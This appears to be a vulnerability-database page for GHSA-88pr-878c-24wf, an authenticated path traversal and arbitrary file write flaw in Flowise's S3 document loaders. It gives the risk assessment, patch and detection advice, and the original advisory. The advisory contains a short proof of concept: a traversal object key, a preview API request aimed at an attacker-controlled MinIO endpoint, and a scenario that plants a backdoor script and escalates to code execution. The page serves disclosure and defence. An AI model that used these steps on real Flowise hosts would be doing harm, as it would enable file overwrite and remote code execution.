A path traversal flaw in Flowise's S3 Directory and S3File document loaders lets an authenticated user with the documentStores:preview-process permission write attacker-controlled bytes to arbitrary paths on the Flowise host, because S3 object keys are joined into a temp path without checking for `../` sequences. This matters because the attacker doesn't need real AWS access — they can point the loader at a self-hosted MinIO instance they fully control, and Flowise's own cleanup routine only deletes the original temp directory, so the escaped file survives on disk. There is no public exploit or scanner signature yet and it is not in CISA KEV, but the primitive is a destructive overwrite of application data, secrets, or config with a documented path to remote code execution if the service account can touch executable, startup, or interpreter-loaded files. Flowise is a widely deployed AI agent/orchestration framework with 158 other CVEs recorded against the package, so any authenticated-write primitive in it deserves prompt attention even without in-the-wild exploitation. Patch to flowise / flowise-components 3.1.3 immediately, and until then restrict who holds the documentStores:preview-process role and monitor for unexpected file writes outside Flowise's temp directories.
What is the risk?
High-severity, authenticated arbitrary file write. Exploitability is straightforward for anyone already holding the documentStores:preview-process permission — no additional infrastructure is required beyond a self-controlled S3-compatible endpoint (e.g. MinIO), since Flowise's S3Directory loader accepts a custom serverUrl. The main constraint is the permission requirement, which limits blast radius to insiders, misconfigured RBAC, or an attacker who has already obtained lower-privileged credentials. Impact is severe: destructive overwrite of app data/secrets/config, and deployment-dependent escalation to RCE. No KEV listing, no public PoC exploit tooling, and no Nuclei template exist yet, so this is not currently mass-exploited, but the low bar to weaponize once access is obtained (self-hosted MinIO + crafted object key) means risk should be treated as elevated pending patch.
How does the attack unfold?
What systems are affected?
How severe is it?
What should I do?
1 step1) Upgrade flowise and flowise-components to 3.1.3 or later immediately — the fix replaces the unsanitized path.join with a resolve-and-verify flow using the repo's existing validator.ts traversal checks and sanitizeFileName helper. 2) Until patched, restrict the documentStores:preview-process permission to fully trusted administrators only; treat it as equivalent to filesystem write access. 3) Where possible, run Flowise's server process with a minimally privileged, dedicated service account and a filesystem sandbox/container so an escaped write cannot reach executable, startup, or credential paths. 4) Detection: monitor for file creation/modification events outside Flowise's designated temp directories, and audit S3 Directory/S3File loader configs for serverUrl values pointing to unexpected or non-corporate S3-compatible endpoints. 5) Review recent document-store loader preview/process API calls (/api/v1/document-store/loader/preview and /loader/process/:loaderId) for object keys containing
../traversal sequences.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-88pr-878c-24wf?
A path traversal flaw in Flowise's S3 Directory and S3File document loaders lets an authenticated user with the documentStores:preview-process permission write attacker-controlled bytes to arbitrary paths on the Flowise host, because S3 object keys are joined into a temp path without checking for `../` sequences. This matters because the attacker doesn't need real AWS access — they can point the loader at a self-hosted MinIO instance they fully control, and Flowise's own cleanup routine only deletes the original temp directory, so the escaped file survives on disk. There is no public exploit or scanner signature yet and it is not in CISA KEV, but the primitive is a destructive overwrite of application data, secrets, or config with a documented path to remote code execution if the service account can touch executable, startup, or interpreter-loaded files. Flowise is a widely deployed AI agent/orchestration framework with 158 other CVEs recorded against the package, so any authenticated-write primitive in it deserves prompt attention even without in-the-wild exploitation. Patch to flowise / flowise-components 3.1.3 immediately, and until then restrict who holds the documentStores:preview-process role and monitor for unexpected file writes outside Flowise's temp directories.
Is GHSA-88pr-878c-24wf actively exploited?
No confirmed active exploitation of GHSA-88pr-878c-24wf has been reported, but organizations should still patch proactively.
How to fix GHSA-88pr-878c-24wf?
1) Upgrade flowise and flowise-components to 3.1.3 or later immediately — the fix replaces the unsanitized path.join with a resolve-and-verify flow using the repo's existing validator.ts traversal checks and sanitizeFileName helper. 2) Until patched, restrict the documentStores:preview-process permission to fully trusted administrators only; treat it as equivalent to filesystem write access. 3) Where possible, run Flowise's server process with a minimally privileged, dedicated service account and a filesystem sandbox/container so an escaped write cannot reach executable, startup, or credential paths. 4) Detection: monitor for file creation/modification events outside Flowise's designated temp directories, and audit S3 Directory/S3File loader configs for serverUrl values pointing to unexpected or non-corporate S3-compatible endpoints. 5) Review recent document-store loader preview/process API calls (/api/v1/document-store/loader/preview and /loader/process/:loaderId) for object keys containing `../` traversal sequences.
What systems are affected by GHSA-88pr-878c-24wf?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, RAG pipelines, document ingestion pipelines.
What is the CVSS score for GHSA-88pr-878c-24wf?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0012Valid AccountsAML.T0049Exploit Public-Facing ApplicationAML.T0053AI Agent Tool InvocationCompliance Controls Affected
What are the technical details?
Original Advisory
## Summary Flowise on current `main` allows an authenticated user with `documentStores:preview-process` permission to trigger the `S3 Directory` document loader with attacker-controlled S3 object keys. The loader joins each returned S3 key with a temporary directory using `path.join(tempDir, key)` and writes the object bytes to disk **without validating traversal sequences such as `../`**. Cleanup later removes only the original temporary directory, so files written outside that directory persist on the host filesystem. This yields **arbitrary file write** with the privileges of the Flowise server process. A related variant exists in the `S3File` loader when `fileProcessingMethod = unstructured` (same root cause; its cleanup behavior turns it into a mixed arbitrary write/delete/DoS primitive). ## Affected component - `packages/components/nodes/documentloaders/S3Directory/S3Directory.ts` - line **191**: `filePath = path.join(tempDir, key)` (unsanitized) - line **213**: recursive `mkdirSync` creates parent path - line **216**: `writeFileSync` writes attacker-controlled bytes - line **289**: cleanup only removes the original `tempDir`, so escaped files remain on disk - Related (variant): `packages/components/nodes/documentloaders/S3File/S3File.ts` (lines 756, 780, 782, 817 — arbitrary write + recursive dirname delete) ## Reachability - Routes exposed: `packages/server/src/routes/documentstore/index.ts:41,45` (`/api/v1/document-store/loader/preview`, `/api/v1/document-store/loader/process/:loaderId`) - Both require `documentStores:preview-process` - `packages/server/src/services/documentstore/index.ts:588` passes `data.loaderConfig` straight to the loader node **with no path sanitization** - `S3Directory` accepts a custom `serverUrl`, so the attacker does **not need access to an existing trusted AWS bucket** — they can point Flowise at a local MinIO or any S3-compatible endpoint they control ## Impact - Authenticated arbitrary file write to any path writable by the Flowise process - Destructive overwrite of application data, secrets, or configuration - Deployment-dependent lift to RCE if the service account can modify executable, startup, or interpreter-loaded files (e.g. `.bashrc`, systemd units, cron files, `require.resolve` targets, `package.json` postinstall scripts). This is not guaranteed product-wide. ## Preconditions - Flowise instance running (HTTP server mode) - Attacker has a workspace account with the `documentStores:preview-process` role - No additional infrastructure required — `serverUrl` can point to attacker-controlled S3-compatible endpoint ## Proof of Concept 1. Authenticate as a user with `documentStores:preview-process` 2. Run an S3-compatible server the attacker controls (e.g. MinIO) 3. Create an object with a traversal key such as: `../../../../tmp/flowise-poc.txt` 4. Trigger: POST /api/v1/document-store/loader/preview (or /api/v1/document-store/loader/process/:loaderId) body: { "loaderId": "s3Directory", "loaderConfig": { "serverUrl": "http://attacker-minio:9000", "bucketName": "attacker-bucket", "prefix": "", "credential": "" } } 5. Observe that Flowise writes the object bytes to the escaped path 6. Observe that cleanup removes only the original temp directory; the escaped file persists Local reproduction confirmed: writing a key containing `../../escape-target/poc.txt` from a nested temp root created the file outside the temp directory, and the cleanup removed only `tempDir`. ## Root Cause The loader trusts S3 object keys as safe local relative paths. It should canonicalize the destination with `path.resolve(...)`, verify the resolved path remains within the intended temp directory, and reject traversal or absolute-path patterns before any directory creation or file write. ## Suggested Remediation The repository already has shared path validators that are not used here: - `packages/components/src/validator.ts:35` defines traversal checks - `packages/components/src/validator.ts:295` defines `sanitizeFileName` Recommended fix: 1. Replace `path.join(tempDir, key)` with a resolve-and-verify flow 2. Reject any resolved path outside `tempDir` 3. Prefer a sanitized basename if directory structure is not required 4. Apply the same fix to the `S3File` loader (`fileProcessingMethod = unstructured` branch)
Exploitation Scenario
An attacker who holds (or has compromised) a Flowise workspace account with the documentStores:preview-process permission stands up a MinIO instance they control and uploads an object using a traversal key such as `../../../../tmp/backdoor.sh`. They then call POST /api/v1/document-store/loader/preview (or the process endpoint) with loaderId `s3Directory` and a loaderConfig pointing serverUrl at their MinIO host. Flowise fetches the object and joins the untrusted key onto its temp directory path without validation, writing the payload outside the intended sandbox; the built-in cleanup only removes the original temp folder, so the file persists. If the attacker targets a path the Flowise process can execute or that gets loaded at startup (a cron file, a require.resolve target, a systemd unit), the arbitrary write escalates to full remote code execution on the host.
Weaknesses (CWE)
CWE-22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')PrimaryCWE-73External Control of File Name or PathPrimaryCWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
- [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
References
Timeline
Related Vulnerabilities
CVE-2025-7133810.0Flowise: unauthenticated file write enables RCE
Same package: flowiseCVE-2025-5952810.0Flowise: Unauthenticated RCE via MCP config injection
Same package: flowiseCVE-2025-619139.9Flowise: path traversal in file tools leads to RCE
Same package: flowiseCVE-2026-409339.9Flowise: RCE via MCP stdio command injection
Same package: flowiseCVE-2026-464429.9Flowise: sandbox escape enables authenticated RCE
Same package: flowise